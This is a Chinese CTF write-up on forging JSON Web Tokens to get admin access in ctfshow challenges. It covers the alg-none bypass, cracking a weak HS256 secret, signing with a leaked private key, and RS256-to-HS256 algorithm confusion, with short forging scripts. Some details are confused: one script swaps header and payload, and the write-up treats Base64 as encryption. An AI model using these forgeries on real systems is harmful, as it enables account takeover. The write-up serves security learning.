JWT格式:
Header.Payload.Signature
Header: {"alg": "HS256","typ": "JWT"}
其中 alg:表示使用的算法默认是HS256 ,typ:表示token类型
然后再用Base64URL 算法进行机密生成一串字符串
Payload: 也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
{
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
}
当然也可以在这一部分存储自己定义的端
Signature:这一部分就是 base64UrlEncode(header)+ base64UrlEncode(palyoad)+密钥
使用alg的算法进行加密
JWT原理:
web345
抓包访问/admin页面看到有这样一个内容,将这个内容进行base64解码
可以看到有前面两部分,在alg对应的是none就是没有加密方式
{"alg":"None","typ":"jwt"}?
[{"iss":"admin","iat":1718866523,"exp":1718873723,"nbf":1718866523,"sub":"user","jti":"0212359dcd5afaabef646309ffb86792"}]
我们将内容复制进脚本里面
import jwt
payload = {"alg":"None","typ":"jwt"}
headers = {
"iss":"admin","iat":1718865117,"exp":1718872317,"nbf":1718865117,"sub":"admin","jti":"503a4a179e5645e7be5c19a88450c618"
}
print(jwt.encode(payload, "", algorithm="HS256", headers=headers))
然后生成将生成的内容复制进/admin下的cookie里面
最终得到flag
web346、347、348
同理抓包
但是这次不同的是有了密钥加密所以后半部分无法解密,前两部分是明文base64加密,后部分是加密后的,所以无法正常解密
{“alg”:“HS256”,“typ”:“JWT”}
{“iss”:“admin”,“iat”:1718868269,“exp”:1718875469,“nbf”:1718868269,“sub”:“user”,“jti”:“f070150b78098e9f337a230ecac7d729”}
使用工具爆破出key是123456
然后我们使用脚本进行加密
修改提交即可
可以使用爆破,一般4位数字的可以爆破出来
可以尝试将加密算法改成none,只生成前两段
web349
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
这段代码是一个使用 Express 框架构建的 Node.js 应用程序,处理 GET 和 POST 请求,并使用 JSON Web Token (JWT) 进行身份验证。代码逻辑如下:
GET 请求处理
- 设置响应类型为 HTML:
res.type('html');
- 读取私钥:
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
从文件系统读取存储在 public/private.key
的私钥。这将用于签署 JWT。
- 生成 JWT:
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
使用私钥签署一个 JWT,负载是 { user: 'user' }
,签名算法是 RS256
(RSA SHA-256)。
- 设置 Cookie:
res.cookie('auth', token);
将生成的 JWT 设置为名为 auth
的 Cookie。
- 响应结束:
res.end('where is flag?');
发送响应并结束请求,响应内容是 'where is flag?'
。
POST 请求处理
- 设置响应类型为 HTML:
res.type('html');
- 获取存储的 flag:
var flag="flag_here";
- 获取 JWT:
var auth = req.cookies.auth;
从请求的 Cookies 中获取 auth
JWT。
- 读取公钥:
var cert = fs.readFileSync(process.cwd()+'//public/public.key');
从文件系统读取存储在 public/public.key
的公钥。这将用于验证 JWT 的签名。
- 验证 JWT:
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
使用公钥验证 JWT。如果验证成功且 decoded.user
为 'admin'
,返回 flag
。否则,返回 'you are not admin'
。
总结
- GET 请求: 生成一个包含
{ user: 'user' }
负载的 JWT,签署后存储在名为auth
的 Cookie 中,并响应'where is flag?'
。 - POST 请求: 从请求的 Cookies 中读取
auth
JWT,使用公钥验证它,如果 JWT 有效且user
字段为'admin'
,返回flag
;否则,返回'you are not admin'
。
dirsearch 扫到文件
将私钥加载进去
将user改为admin,重新生成然后复制进去
web350
下载源码
观察到有解密算法,且解密代码中未提及算法。所以尝试更改算法为对称加密,将pubulic.key作为密钥
将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
创建test.js生成jwt
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
然后以post方式发包(带着jwt)
原文链接:https://blog.youkuaiyun.com/c1516175954/article/details/133095091
web834
打开操作页面,没有发现明显问题,尝试注册一个用户
尝试注册haha,密码为123456
尝试一下修改密码这个功能,在提交新密码的时候发现了问题,发现了jwt
爆破key,然后将haha改为admin
提示admin修改密码成功
密钥爆破仅针对与HS256
篡改算法只能是RS256->HS256